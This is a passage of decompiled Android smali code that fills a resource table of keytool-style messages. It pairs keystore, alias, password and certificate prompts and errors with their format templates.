                                                                              240const-string v3, "Please specify -srckeystore"
                                                                              241aput-object v3, v2, v4
                                                                              243const-string v3, "Please specify -srckeystore"
                                                                              244aput-object v3, v2, v5
                                                                              245aput-object v2, v0, v1
                                                                              246const/16 v1, 0x1b
                                                                              247new-array v2, v6, [Ljava/lang/Object;
                                                                              249const-string v3, "Must not specify both -v and -rfc with \'list\' command"
                                                                              250aput-object v3, v2, v4
                                                                              252const-string v3, "Must not specify both -v and -rfc with \'list\' command"
                                                                              253aput-object v3, v2, v5
                                                                              254aput-object v2, v0, v1
                                                                              255const/16 v1, 0x1c
                                                                              256new-array v2, v6, [Ljava/lang/Object;
                                                                              258const-string v3, "Key password must be at least 6 characters"
                                                                              259aput-object v3, v2, v4
                                                                              261const-string v3, "Key password must be at least 6 characters"
                                                                              262aput-object v3, v2, v5
                                                                              263aput-object v2, v0, v1
                                                                              264const/16 v1, 0x1d
                                                                              265new-array v2, v6, [Ljava/lang/Object;
                                                                              267const-string v3, "New password must be at least 6 characters"
                                                                              268aput-object v3, v2, v4
                                                                              270const-string v3, "New password must be at least 6 characters"
                                                                              271aput-object v3, v2, v5
                                                                              272aput-object v2, v0, v1
                                                                              273const/16 v1, 0x1e
                                                                              274new-array v2, v6, [Ljava/lang/Object;
                                                                              276const-string v3, "Keystore file exists, but is empty: "
                                                                              277aput-object v3, v2, v4
                                                                              279const-string v3, "Keystore file exists, but is empty: "
                                                                              280aput-object v3, v2, v5
                                                                              281aput-object v2, v0, v1
                                                                              282const/16 v1, 0x1f
                                                                              283new-array v2, v6, [Ljava/lang/Object;
                                                                              285const-string v3, "Keystore file does not exist: "
                                                                              286aput-object v3, v2, v4
                                                                              288const-string v3, "Keystore file does not exist: "
                                                                              289aput-object v3, v2, v5
                                                                              290aput-object v2, v0, v1
                                                                              291const/16 v1, 0x20
                                                                              292new-array v2, v6, [Ljava/lang/Object;
                                                                              294const-string v3, "Must specify destination alias"
                                                                              295aput-object v3, v2, v4
                                                                              297const-string v3, "Must specify destination alias"
                                                                              298aput-object v3, v2, v5
                                                                              299aput-object v2, v0, v1
                                                                              300const/16 v1, 0x21
                                                                              301new-array v2, v6, [Ljava/lang/Object;
                                                                              303const-string v3, "Must specify alias"
                                                                              304aput-object v3, v2, v4
                                                                              306const-string v3, "Must specify alias"
                                                                              307aput-object v3, v2, v5
                                                                              308aput-object v2, v0, v1
                                                                              309const/16 v1, 0x22
                                                                              310new-array v2, v6, [Ljava/lang/Object;
                                                                              312const-string v3, "Keystore password must be at least 6 characters"
                                                                              313aput-object v3, v2, v4
                                                                              315const-string v3, "Keystore password must be at least 6 characters"
                                                                              316aput-object v3, v2, v5
                                                                              317aput-object v2, v0, v1
                                                                              318const/16 v1, 0x23
                                                                              319new-array v2, v6, [Ljava/lang/Object;
                                                                              321const-string v3, "Enter keystore password: "
                                                                              322aput-object v3, v2, v4
                                                                              324const-string v3, "Enter keystore password: "
                                                                              325aput-object v3, v2, v5
                                                                              326aput-object v2, v0, v1
                                                                              327const/16 v1, 0x24
                                                                              328new-array v2, v6, [Ljava/lang/Object;
                                                                              330const-string v3, "Enter source keystore password: "
                                                                              331aput-object v3, v2, v4
                                                                              333const-string v3, "Enter source keystore password: "
                                                                              334aput-object v3, v2, v5
                                                                              335aput-object v2, v0, v1
                                                                              336const/16 v1, 0x25
                                                                              337new-array v2, v6, [Ljava/lang/Object;
                                                                              339const-string v3, "Enter destination keystore password: "
                                                                              340aput-object v3, v2, v4
                                                                              342const-string v3, "Enter destination keystore password: "
                                                                              343aput-object v3, v2, v5
                                                                              344aput-object v2, v0, v1
                                                                              345const/16 v1, 0x26
                                                                              346new-array v2, v6, [Ljava/lang/Object;
                                                                              348const-string v3, "Keystore password is too short - must be at least 6 characters"
                                                                              349aput-object v3, v2, v4
                                                                              351const-string v3, "Keystore password is too short - must be at least 6 characters"
                                                                              352aput-object v3, v2, v5
                                                                              353aput-object v2, v0, v1
                                                                              354const/16 v1, 0x27
                                                                              355new-array v2, v6, [Ljava/lang/Object;
                                                                              357const-string v3, "Unknown Entry Type"
                                                                              358aput-object v3, v2, v4
                                                                              360const-string v3, "Unknown Entry Type"
                                                                              361aput-object v3, v2, v5
                                                                              362aput-object v2, v0, v1
                                                                              363const/16 v1, 0x28
                                                                              364new-array v2, v6, [Ljava/lang/Object;
                                                                              366const-string v3, "Too many failures. Alias not changed"
                                                                              367aput-object v3, v2, v4
                                                                              369const-string v3, "Too many failures. Alias not changed"
                                                                              370aput-object v3, v2, v5
                                                                              371aput-object v2, v0, v1
                                                                              372const/16 v1, 0x29
                                                                              373new-array v2, v6, [Ljava/lang/Object;
                                                                              375const-string v3, "Entry for alias <alias> successfully imported."
                                                                              376aput-object v3, v2, v4
                                                                              378const-string v3, "Entry for alias {0} successfully imported."
                                                                              379aput-object v3, v2, v5
                                                                              380aput-object v2, v0, v1
                                                                              381const/16 v1, 0x2a
                                                                              382new-array v2, v6, [Ljava/lang/Object;
                                                                              384const-string v3, "Entry for alias <alias> not imported."
                                                                              385aput-object v3, v2, v4
                                                                              387const-string v3, "Entry for alias {0} not imported."
                                                                              388aput-object v3, v2, v5
                                                                              389aput-object v2, v0, v1
                                                                              390const/16 v1, 0x2b
                                                                              391new-array v2, v6, [Ljava/lang/Object;
                                                                              393const-string v3, "Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported."
                                                                              394aput-object v3, v2, v4
                                                                              396const-string v3, "Problem importing entry for alias {0}: {1}.\nEntry for alias {0} not imported."
                                                                              397aput-object v3, v2, v5
                                                                              398aput-object v2, v0, v1
                                                                              399const/16 v1, 0x2c
                                                                              400new-array v2, v6, [Ljava/lang/Object;
                                                                              402const-string v3, "Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled"
                                                                              403aput-object v3, v2, v4
                                                                              405const-string v3, "Import command completed: {0} entries successfully imported, {1} entries failed or cancelled"
                                                                              406aput-object v3, v2, v5
                                                                              407aput-object v2, v0, v1
                                                                              408const/16 v1, 0x2d
                                                                              409new-array v2, v6, [Ljava/lang/Object;
                                                                              411const-string v3, "Warning: Overwriting existing alias <alias> in destination keystore"
                                                                              412aput-object v3, v2, v4
                                                                              414const-string v3, "Warning: Overwriting existing alias {0} in destination keystore"
                                                                              415aput-object v3, v2, v5
                                                                              416aput-object v2, v0, v1
                                                                              417const/16 v1, 0x2e
                                                                              418new-array v2, v6, [Ljava/lang/Object;
                                                                              420const-string v3, "Existing entry alias <alias> exists, overwrite? [no]: "
                                                                              421aput-object v3, v2, v4
                                                                              423const-string v3, "Existing entry alias {0} exists, overwrite? [no]: "
                                                                              424aput-object v3, v2, v5
                                                                              425aput-object v2, v0, v1
                                                                              426const/16 v1, 0x2f
                                                                              427new-array v2, v6, [Ljava/lang/Object;
                                                                              429const-string v3, "Too many failures - try later"
                                                                              430aput-object v3, v2, v4
                                                                              432const-string v3, "Too many failures - try later"
                                                                              433aput-object v3, v2, v5
                                                                              434aput-object v2, v0, v1
                                                                              435const/16 v1, 0x30
                                                                              436new-array v2, v6, [Ljava/lang/Object;
                                                                              438const-string v3, "Certification request stored in file <filename>"
                                                                              439aput-object v3, v2, v4
                                                                              441const-string v3, "Certification request stored in file <{0}>"
                                                                              442aput-object v3, v2, v5
                                                                              443aput-object v2, v0, v1
                                                                              444const/16 v1, 0x31
                                                                              445new-array v2, v6, [Ljava/lang/Object;
                                                                              447const-string v3, "Submit this to your CA"
                                                                              448aput-object v3, v2, v4
                                                                              450const-string v3, "Submit this to your CA"
                                                                              451aput-object v3, v2, v5
                                                                              452aput-object v2, v0, v1
                                                                              453const/16 v1, 0x32
                                                                              454new-array v2, v6, [Ljava/lang/Object;
                                                                              456const-string v3, "if alias not specified, destalias, srckeypass, and destkeypass must not be specified"
                                                                              457aput-object v3, v2, v4
                                                                              459const-string v3, "if alias not specified, destalias, srckeypass, and destkeypass must not be specified"
                                                                              460aput-object v3, v2, v5
                                                                              461aput-object v2, v0, v1
                                                                              462const/16 v1, 0x33
                                                                              463new-array v2, v6, [Ljava/lang/Object;
                                                                              465const-string v3, "Certificate stored in file <filename>"
                                                                              466aput-object v3, v2, v4
                                                                              468const-string v3, "Certificate stored in file <{0}>"
                                                                              469aput-object v3, v2, v5
                                                                              470aput-object v2, v0, v1
                                                                              471const/16 v1, 0x34
                                                                              472new-array v2, v6, [Ljava/lang/Object;
                                                                              474const-string v3, "Certificate reply was installed in keystore"
                                                                              475aput-object v3, v2, v4
                                                                              477const-string v3, "Certificate reply was installed in keystore"
                                                                              478aput-object v3, v2, v5
                                                                              479aput-object v2, v0, v1
                                                                              480const/16 v1, 0x35
                                                                              481new-array v2, v6, [Ljava/lang/Object;
                                                                              483const-string v3, "Certificate reply was not installed in keystore"
                                                                              484aput-object v3, v2, v4
                                                                              486const-string v3, "Certificate reply was not installed in keystore"
                                                                              487aput-object v3, v2, v5
                                                                              488aput-object v2, v0, v1
                                                                              489const/16 v1, 0x36
                                                                              490new-array v2, v6, [Ljava/lang/Object;
                                                                              492const-string v3, "Certificate was added to keystore"
                                                                              493aput-object v3, v2, v4
                                                                              495const-string v3, "Certificate was added to keystore"
                                                                              496aput-object v3, v2, v5
                                                                              497aput-object v2, v0, v1
                                                                              498const/16 v1, 0x37
                                                                              499new-array v2, v6, [Ljava/lang/Object;
                                                                              501const-string v3, "Certificate was not added to keystore"
                                                                              502aput-object v3, v2, v4
                                                                              504const-string v3, "Certificate was not added to keystore"
                                                                              505aput-object v3, v2, v5
                                                                              506aput-object v2, v0, v1
                                                                              507const/16 v1, 0x38
                                                                              508new-array v2, v6, [Ljava/lang/Object;
                                                                              510const-string v3, "[Storing ksfname]"
                                                                              511aput-object v3, v2, v4
                                                                              513const-string v3, "[Storing {0}]"
                                                                              514aput-object v3, v2, v5
                                                                              515aput-object v2, v0, v1
                                                                              516const/16 v1, 0x39
                                                                              517new-array v2, v6, [Ljava/lang/Object;
                                                                              519const-string v3, "alias has no public key (certificate)"
                                                                              520aput-object v3, v2, v4
                                                                              522const-string v3, "{0} has no public key (certificate)"
                                                                              523aput-object v3, v2, v5
                                                                              524aput-object v2, v0, v1
                                                                              525const/16 v1, 0x3a
                                                                              526new-array v2, v6, [Ljava/lang/Object;
                                                                              528const-string v3, "Cannot derive signature algorithm"
                                                                              529aput-object v3, v2, v4
                                                                              531const-string v3, "Cannot derive signature algorithm"
                                                                              532aput-object v3, v2, v5
                                                                              533aput-object v2, v0, v1
                                                                              534const/16 v1, 0x3b
                                                                              535new-array v2, v6, [Ljava/lang/Object;
                                                                              537const-string v3, "Alias <alias> does not exist"
                                                                              538aput-object v3, v2, v4
                                                                              540const-string v3, "Alias <{0}> does not exist"
                                                                              541aput-object v3, v2, v5
                                                                              542aput-object v2, v0, v1
                                                                              543const/16 v1, 0x3c
                                                                              544new-array v2, v6, [Ljava/lang/Object;
                                                                              546const-string v3, "Alias <alias> has no certificate"
                                                                              547aput-object v3, v2, v4
                                                                              549const-string v3, "Alias <{0}> has no certificate"
                                                                              550aput-object v3, v2, v5
                                                                              551aput-object v2, v0, v1
                                                                              552const/16 v1, 0x3d
                                                                              553new-array v2, v6, [Ljava/lang/Object;
                                                                              555const-string v3, "Key pair not generated, alias <alias> already exists"
                                                                              556aput-object v3, v2, v4
                                                                              558const-string v3, "Key pair not generated, alias <{0}> already exists"
                                                                              559aput-object v3, v2, v5
                                                                              560aput-object v2, v0, v1
                                                                              561const/16 v1, 0x3e
                                                                              562new-array v2, v6, [Ljava/lang/Object;
                                                                              564const-string v3, "Cannot derive signature algorithm"
                                                                              565aput-object v3, v2, v4
                                                                              567const-string v3, "Cannot derive signature algorithm"
                                                                              568aput-object v3, v2, v5
                                                                              569aput-object v2, v0, v1
                                                                              570const/16 v1, 0x3f
                                                                              571new-array v2, v6, [Ljava/lang/Object;
                                                                              573const-string v3, "Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name"
                                                                              574aput-object v3, v2, v4
                                                                              576const-string v3, "Generating {0} bit {1} key pair and self-signed certificate ({2}) with a validity of {3} days\n\tfor: {4}"
                                                                              577aput-object v3, v2, v5
                                                                              578aput-object v2, v0, v1
                                                                              579const/16 v1, 0x40
                                                                              580new-array v2, v6, [Ljava/lang/Object;
                                                                              582const-string v3, "Enter key password for <alias>"
                                                                              583aput-object v3, v2, v4
                                                                              585const-string v3, "Enter key password for <{0}>"
                                                                              586aput-object v3, v2, v5
                                                                              587aput-object v2, v0, v1
                                                                              588const/16 v1, 0x41
                                                                              589new-array v2, v6, [Ljava/lang/Object;
                                                                              591const-string v3, "\t(RETURN if same as keystore password): "
                                                                              592aput-object v3, v2, v4
                                                                              594const-string v3, "\t(RETURN if same as keystore password): "
                                                                              595aput-object v3, v2, v5
                                                                              596aput-object v2, v0, v1
                                                                              597const/16 v1, 0x42
                                                                              598new-array v2, v6, [Ljava/lang/Object;
                                                                              600const-string v3, "Key password is too short - must be at least 6 characters"
                                                                              601aput-object v3, v2, v4
                                                                              603const-string v3, "Key password is too short - must be at least 6 characters"
                                                                              604aput-object v3, v2, v5
                                                                              605aput-object v2, v0, v1
                                                                              606const/16 v1, 0x43
                                                                              607new-array v2, v6, [Ljava/lang/Object;
                                                                              609const-string v3, "Too many failures - key not added to keystore"
                                                                              610aput-object v3, v2, v4
                                                                              612const-string v3, "Too many failures - key not added to keystore"
                                                                              613aput-object v3, v2, v5
                                                                              614aput-object v2, v0, v1
                                                                              615const/16 v1, 0x44
                                                                              616new-array v2, v6, [Ljava/lang/Object;
                                                                              618const-string v3, "Destination alias <dest> already exists"
                                                                              619aput-object v3, v2, v4
                                                                              621const-string v3, "Destination alias <{0}> already exists"
                                                                              622aput-object v3, v2, v5
                                                                              623aput-object v2, v0, v1
                                                                              624const/16 v1, 0x45
                                                                              625new-array v2, v6, [Ljava/lang/Object;
                                                                              627const-string v3, "Password is too short - must be at least 6 characters"
                                                                              628aput-object v3, v2, v4
                                                                              630const-string v3, "Password is too short - must be at least 6 characters"
                                                                              631aput-object v3, v2, v5
                                                                              632aput-object v2, v0, v1
                                                                              633const/16 v1, 0x46
                                                                              634new-array v2, v6, [Ljava/lang/Object;
                                                                              636const-string v3, "Too many failures. Key entry not cloned"
                                                                              637aput-object v3, v2, v4
                                                                              639const-string v3, "Too many failures. Key entry not cloned"
                                                                              640aput-object v3, v2, v5
                                                                              641aput-object v2, v0, v1
                                                                              642const/16 v1, 0x47
                                                                              643new-array v2, v6, [Ljava/lang/Object;
                                                                              645const-string v3, "key password for <alias>"
                                                                              646aput-object v3, v2, v4
                                                                              648const-string v3, "key password for <{0}>"
                                                                              649aput-object v3, v2, v5
                                                                              650aput-object v2, v0, v1
                                                                              651const/16 v1, 0x48
                                                                              652new-array v2, v6, [Ljava/lang/Object;
                                                                              654const-string v3, "Keystore entry for <id.getName()> already exists"
                                                                              655aput-object v3, v2, v4
                                                                              657const-string v3, "Keystore entry for <{0}> already exists"
                                                                              658aput-object v3, v2, v5
                                                                              659aput-object v2, v0, v1
                                                                              660const/16 v1, 0x49
                                                                              661new-array v2, v6, [Ljava/lang/Object;
                                                                              663const-string v3, "Creating keystore entry for <id.getName()> ..."
                                                                              664aput-object v3, v2, v4
                                                                              666const-string v3, "Creating keystore entry for <{0}> ..."
                                                                              667aput-object v3, v2, v5
                                                                              668aput-object v2, v0, v1
                                                                              669const/16 v1, 0x4a
                                                                              670new-array v2, v6, [Ljava/lang/Object;
                                                                              672const-string v3, "No entries from identity database added"
                                                                              673aput-object v3, v2, v4
                                                                              675const-string v3, "No entries from identity database added"
                                                                              676aput-object v3, v2, v5
                                                                              677aput-object v2, v0, v1
                                                                              678const/16 v1, 0x4b
                                                                              679new-array v2, v6, [Ljava/lang/Object;
                                                                              681const-string v3, "Alias name: alias"
                                                                              682aput-object v3, v2, v4
                                                                              684const-string v3, "Alias name: {0}"
                                                                              685aput-object v3, v2, v5
                                                                              686aput-object v2, v0, v1
                                                                              687const/16 v1, 0x4c
                                                                              688new-array v2, v6, [Ljava/lang/Object;
                                                                              690const-string v3, "Creation date: keyStore.getCreationDate(alias)"
                                                                              691aput-object v3, v2, v4
                                                                              693const-string v3, "Creation date: {0,date}"
                                                                              694aput-object v3, v2, v5
                                                                              695aput-object v2, v0, v1
                                                                              696const/16 v1, 0x4d
                                                                              697new-array v2, v6, [Ljava/lang/Object;
                                                                              699const-string v3, "alias, keyStore.getCreationDate(alias), "
                                                                              700aput-object v3, v2, v4
                                                                              702const-string v3, "{0}, {1,date}, "
                                                                              703aput-object v3, v2, v5
                                                                              704aput-object v2, v0, v1
                                                                              705const/16 v1, 0x4e
                                                                              706new-array v2, v6, [Ljava/lang/Object;
                                                                              708const-string v3, "alias, "
                                                                              709aput-object v3, v2, v4
                                                                              711const-string v3, "{0}, "
                                                                              712aput-object v3, v2, v5
                                                                              713aput-object v2, v0, v1
                                                                              714const/16 v1, 0x4f
                                                                              715new-array v2, v6, [Ljava/lang/Object;
                                                                              717const-string v3, "Entry type: <type>"
                                                                              718aput-object v3, v2, v4
                                                                              720const-string v3, "Entry type: {0}"
                                                                              721aput-object v3, v2, v5
                                                                              722aput-object v2, v0, v1
                                                                              723const/16 v1, 0x50
                                                                              724new-array v2, v6, [Ljava/lang/Object;
                                                                              726const-string v3, "Certificate chain length: "
                                                                              727aput-object v3, v2, v4
                                                                              729const-string v3, "Certificate chain length: "
                                                                              730aput-object v3, v2, v5
                                                                              731aput-object v2, v0, v1
                                                                              732const/16 v1, 0x51
                                                                              733new-array v2, v6, [Ljava/lang/Object;
                                                                              735const-string v3, "Certificate[(i + 1)]:"
                                                                              736aput-object v3, v2, v4
                                                                              738const-string v3, "Certificate[{0,number,integer}]:"
                                                                              739aput-object v3, v2, v5
                                                                              740aput-object v2, v0, v1
                                                                              741const/16 v1, 0x52
                                                                              742new-array v2, v6, [Ljava/lang/Object;
                                                                              744const-string v3, "Certificate fingerprint (MD5): "
                                                                              745aput-object v3, v2, v4
                                                                              747const-string v3, "Certificate fingerprint (MD5): "
                                                                              748aput-object v3, v2, v5
                                                                              749aput-object v2, v0, v1
                                                                              750const/16 v1, 0x53
                                                                              751new-array v2, v6, [Ljava/lang/Object;
                                                                              753const-string v3, "Entry type: trustedCertEntry\n"
                                                                              754aput-object v3, v2, v4
                                                                              756const-string v3, "Entry type: trustedCertEntry\n"
                                                                              757aput-object v3, v2, v5
                                                                              758aput-object v2, v0, v1
                                                                              759const/16 v1, 0x54
                                                                              760new-array v2, v6, [Ljava/lang/Object;
                                                                              762const-string v3, "trustedCertEntry,"
                                                                              763aput-object v3, v2, v4
                                                                              765const-string v3, "trustedCertEntry,"
                                                                              766aput-object v3, v2, v5
                                                                              767aput-object v2, v0, v1
                                                                              768const/16 v1, 0x55
                                                                              769new-array v2, v6, [Ljava/lang/Object;
                                                                              771const-string v3, "Keystore type: "
                                                                              772aput-object v3, v2, v4
                                                                              774const-string v3, "Keystore type: "
                                                                              775aput-object v3, v2, v5
                                                                              776aput-object v2, v0, v1
                                                                              777const/16 v1, 0x56
                                                                              778new-array v2, v6, [Ljava/lang/Object;
                                                                              780const-string v3, "Keystore provider: "
                                                                              781aput-object v3, v2, v4
                                                                              783const-string v3, "Keystore provider: "
                                                                              784aput-object v3, v2, v5
                                                                              785aput-object v2, v0, v1
                                                                              786const/16 v1, 0x57
                                                                              787new-array v2, v6, [Ljava/lang/Object;
                                                                              789const-string v3, "Your keystore contains keyStore.size() entry"
                                                                              790aput-object v3, v2, v4
                                                                              792const-string v3, "Your keystore contains {0,number,integer} entry"
                                                                              793aput-object v3, v2, v5
                                                                              794aput-object v2, v0, v1
                                                                              795const/16 v1, 0x58
                                                                              796new-array v2, v6, [Ljava/lang/Object;
                                                                              798const-string v3, "Your keystore contains keyStore.size() entries"
                                                                              799aput-object v3, v2, v4
                                                                              801const-string v3, "Your keystore contains {0,number,integer} entries"
                                                                              802aput-object v3, v2, v5
                                                                              803aput-object v2, v0, v1
                                                                              804const/16 v1, 0x59
                                                                              805new-array v2, v6, [Ljava/lang/Object;
                                                                              807const-string v3, "Failed to parse input"
                                                                              808aput-object v3, v2, v4
                                                                              810const-string v3, "Failed to parse input"
                                                                              811aput-object v3, v2, v5
                                                                              812aput-object v2, v0, v1
                                                                              813const/16 v1, 0x5a
                                                                              814new-array v2, v6, [Ljava/lang/Object;
                                                                              816const-string v3, "Empty input"
                                                                              817aput-object v3, v2, v4
                                                                              819const-string v3, "Empty input"
                                                                              820aput-object v3, v2, v5
                                                                              821aput-object v2, v0, v1
                                                                              822const/16 v1, 0x5b
                                                                              823new-array v2, v6, [Ljava/lang/Object;
                                                                              825const-string v3, "Not X.509 certificate"
                                                                              826aput-object v3, v2, v4
                                                                              828const-string v3, "Not X.509 certificate"
                                                                              829aput-object v3, v2, v5
                                                                              830aput-object v2, v0, v1
                                                                              831const/16 v1, 0x5c
                                                                              832new-array v2, v6, [Ljava/lang/Object;
                                                                              834const-string v3, "Cannot derive signature algorithm"
                                                                              835aput-object v3, v2, v4
                                                                              837const-string v3, "Cannot derive signature algorithm"
                                                                              838aput-object v3, v2, v5
                                                                              839aput-object v2, v0, v1
                                                                              840const/16 v1, 0x5d
                                                                              841new-array v2, v6, [Ljava/lang/Object;
                                                                              843const-string v3, "alias has no public key"
                                                                              844aput-object v3, v2, v4
                                                                              846const-string v3, "{0} has no public key"
                                                                              847aput-object v3, v2, v5
                                                                              848aput-object v2, v0, v1
                                                                              849const/16 v1, 0x5e
                                                                              850new-array v2, v6, [Ljava/lang/Object;
                                                                              852const-string v3, "alias has no X.509 certificate"
                                                                              853aput-object v3, v2, v4
                                                                              855const-string v3, "{0} has no X.509 certificate"
                                                                              856aput-object v3, v2, v5
                                                                              857aput-object v2, v0, v1
                                                                              858const/16 v1, 0x5f
                                                                              859new-array v2, v6, [Ljava/lang/Object;
                                                                              861const-string v3, "New certificate (self-signed):"
                                                                              862aput-object v3, v2, v4
                                                                              864const-string v3, "New certificate (self-signed):"
                                                                              865aput-object v3, v2, v5
                                                                              866aput-object v2, v0, v1
                                                                              867const/16 v1, 0x60
                                                                              868new-array v2, v6, [Ljava/lang/Object;
                                                                              870const-string v3, "Reply has no certificates"
                                                                              871aput-object v3, v2, v4
                                                                              873const-string v3, "Reply has no certificates"
                                                                              874aput-object v3, v2, v5
                                                                              875aput-object v2, v0, v1
                                                                              876const/16 v1, 0x61
                                                                              877new-array v2, v6, [Ljava/lang/Object;
                                                                              879const-string v3, "Certificate not imported, alias <alias> already exists"
                                                                              880aput-object v3, v2, v4
                                                                              882const-string v3, "Certificate not imported, alias <{0}> already exists"
                                                                              883aput-object v3, v2, v5
                                                                              884aput-object v2, v0, v1
                                                                              885const/16 v1, 0x62
                                                                              886new-array v2, v6, [Ljava/lang/Object;
                                                                              888const-string v3, "Input not an X.509 certificate"
                                                                              889aput-object v3, v2, v4
                                                                              891const-string v3, "Input not an X.509 certificate"
                                                                              892aput-object v3, v2, v5
                                                                              893aput-object v2, v0, v1
                                                                              894const/16 v1, 0x63
                                                                              895new-array v2, v6, [Ljava/lang/Object;
                                                                              897const-string v3, "Certificate already exists in keystore under alias <trustalias>"
                                                                              898aput-object v3, v2, v4
                                                                              900const-string v3, "Certificate already exists in keystore under alias <{0}>"
                                                                              901aput-object v3, v2, v5
                                                                              902aput-object v2, v0, v1
                                                                              903const/16 v1, 0x64
                                                                              904new-array v2, v6, [Ljava/lang/Object;
                                                                              906const-string v3, "Do you still want to add it? [no]: "
                                                                              907aput-object v3, v2, v4
                                                                              909const-string v3, "Do you still want to add it? [no]: "
                                                                              910aput-object v3, v2, v5
                                                                              911aput-object v2, v0, v1
                                                                              912const/16 v1, 0x65
                                                                              913new-array v2, v6, [Ljava/lang/Object;
                                                                              915const-string v3, "Certificate already exists in system-wide CA keystore under alias <trustalias>"
                                                                              916aput-object v3, v2, v4
                                                                              918const-string v3, "Certificate already exists in system-wide CA keystore under alias <{0}>"
                                                                              919aput-object v3, v2, v5
                                                                              920aput-object v2, v0, v1
                                                                              921const/16 v1, 0x66
                                                                              922new-array v2, v6, [Ljava/lang/Object;
                                                                              924const-string v3, "Do you still want to add it to your own keystore? [no]: "
                                                                              925aput-object v3, v2, v4
                                                                              927const-string v3, "Do you still want to add it to your own keystore? [no]: "
                                                                              928aput-object v3, v2, v5
                                                                              929aput-object v2, v0, v1
                                                                              930const/16 v1, 0x67
                                                                              931new-array v2, v6, [Ljava/lang/Object;
                                                                              933const-string v3, "Trust this certificate? [no]: "
                                                                              934aput-object v3, v2, v4
                                                                              936const-string v3, "Trust this certificate? [no]: "
                                                                              937aput-object v3, v2, v5
                                                                              938aput-object v2, v0, v1
                                                                              939const/16 v1, 0x68
                                                                              940new-array v2, v6, [Ljava/lang/Object;
                                                                              942const-string v3, "YES"
                                                                              943aput-object v3, v2, v4
                                                                              945const-string v3, "YES"
                                                                              946aput-object v3, v2, v5
                                                                              947aput-object v2, v0, v1
                                                                              948const/16 v1, 0x69
                                                                              949new-array v2, v6, [Ljava/lang/Object;
                                                                              951const-string v3, "New prompt: "
                                                                              952aput-object v3, v2, v4
                                                                              954const-string v3, "New {0}: "
                                                                              955aput-object v3, v2, v5
                                                                              956aput-object v2, v0, v1
                                                                              957const/16 v1, 0x6a
                                                                              958new-array v2, v6, [Ljava/lang/Object;
                                                                              960const-string v3, "Passwords must differ"
                                                                              961aput-object v3, v2, v4
                                                                              963const-string v3, "Passwords must differ"
                                                                              964aput-object v3, v2, v5
                                                                              965aput-object v2, v0, v1
                                                                              966const/16 v1, 0x6b
                                                                              967new-array v2, v6, [Ljava/lang/Object;
                                                                              969const-string v3, "Re-enter new prompt: "
                                                                              970aput-object v3, v2, v4
                                                                              972const-string v3, "Re-enter new {0}: "
                                                                              973aput-object v3, v2, v5
                                                                              974aput-object v2, v0, v1
                                                                              975const/16 v1, 0x6c
                                                                              976new-array v2, v6, [Ljava/lang/Object;
                                                                              978const-string v3, "Re-enter new password: "
                                                                              979aput-object v3, v2, v4
                                                                              981const-string v3, "Re-enter new password: "
                                                                              982aput-object v3, v2, v5
                                                                              983aput-object v2, v0, v1
                                                                              984const/16 v1, 0x6d
                                                                              985new-array v2, v6, [Ljava/lang/Object;
                                                                              987const-string v3, "They don\'t match. Try again"
                                                                              988aput-object v3, v2, v4
                                                                              990const-string v3, "They don\'t match. Try again"
                                                                              991aput-object v3, v2, v5
                                                                              992aput-object v2, v0, v1
                                                                              993const/16 v1, 0x6e
                                                                              994new-array v2, v6, [Ljava/lang/Object;
                                                                              996const-string v3, "Enter prompt alias name: "
                                                                              997aput-object v3, v2, v4
                                                                              999const-string v3, "Enter {0} alias name: "
                                                                              1000aput-object v3, v2, v5
                                                                              1001aput-object v2, v0, v1
                                                                              1002const/16 v1, 0x6f
                                                                              1003new-array v2, v6, [Ljava/lang/Object;
                                                                              1005const-string v3, "Enter new alias name\t(RETURN to cancel import for this entry): "
                                                                              1006aput-object v3, v2, v4
                                                                              1008const-string v3, "Enter new alias name\t(RETURN to cancel import for this entry): "
                                                                              1009aput-object v3, v2, v5
                                                                              1010aput-object v2, v0, v1
                                                                              1011const/16 v1, 0x70
                                                                              1012new-array v2, v6, [Ljava/lang/Object;
                                                                              1014const-string v3, "Enter alias name: "
                                                                              1015aput-object v3, v2, v4
                                                                              1017const-string v3, "Enter alias name: "
                                                                              1018aput-object v3, v2, v5
                                                                              1019aput-object v2, v0, v1
                                                                              1020const/16 v1, 0x71
                                                                              1021new-array v2, v6, [Ljava/lang/Object;
                                                                              1023const-string v3, "\t(RETURN if same as for <otherAlias>)"
                                                                              1024aput-object v3, v2, v4
                                                                              1026const-string v3, "\t(RETURN if same as for <{0}>)"
                                                                              1027aput-object v3, v2, v5
                                                                              1028aput-object v2, v0, v1
                                                                              1029const/16 v1, 0x72
                                                                              1030new-array v2, v6, [Ljava/lang/Object;
                                                                              1032const-string v3, "*PATTERN* printX509Cert"
                                                                              1033aput-object v3, v2, v4
                                                                              1035const-string v3, "Owner: {0}\nIssuer: {1}\nSerial number: {2}\nValid from: {3} until: {4}\nCertificate fingerprints:\n\t MD5: {5}\n\t SHA1: {6}\n\t Signature algorithm name: {7}\n\t Version: {8}"
                                                                              1036aput-object v3, v2, v5
                                                                              1037aput-object v2, v0, v1
                                                                              1038const/16 v1, 0x73
                                                                              1039new-array v2, v6, [Ljava/lang/Object;
                                                                              1041const-string v3, "What is your first and last name?"
                                                                              1042aput-object v3, v2, v4
                                                                              1044const-string v3, "What is your first and last name?"
                                                                              1045aput-object v3, v2, v5
                                                                              1046aput-object v2, v0, v1
                                                                              1047const/16 v1, 0x74
                                                                              1048new-array v2, v6, [Ljava/lang/Object;
                                                                              1050const-string v3, "What is the name of your organizational unit?"
                                                                              1051aput-object v3, v2, v4
                                                                              1053const-string v3, "What is the name of your organizational unit?"
                                                                              1054aput-object v3, v2, v5
                                                                              1055aput-object v2, v0, v1
                                                                              1056const/16 v1, 0x75
                                                                              1057new-array v2, v6, [Ljava/lang/Object;
                                                                              1059const-string v3, "What is the name of your organization?"
                                                                              1060aput-object v3, v2, v4
                                                                              1062const-string v3, "What is the name of your organization?"
                                                                              1063aput-object v3, v2, v5
                                                                              1064aput-object v2, v0, v1
                                                                              1065const/16 v1, 0x76
                                                                              1066new-array v2, v6, [Ljava/lang/Object;
                                                                              1068const-string v3, "What is the name of your City or Locality?"
                                                                              1069aput-object v3, v2, v4
                                                                              1071const-string v3, "What is the name of your City or Locality?"
                                                                              1072aput-object v3, v2, v5
                                                                              1073aput-object v2, v0, v1
                                                                              1074const/16 v1, 0x77
                                                                              1075new-array v2, v6, [Ljava/lang/Object;
                                                                              1077const-string v3, "What is the name of your State or Province?"
                                                                              1078aput-object v3, v2, v4
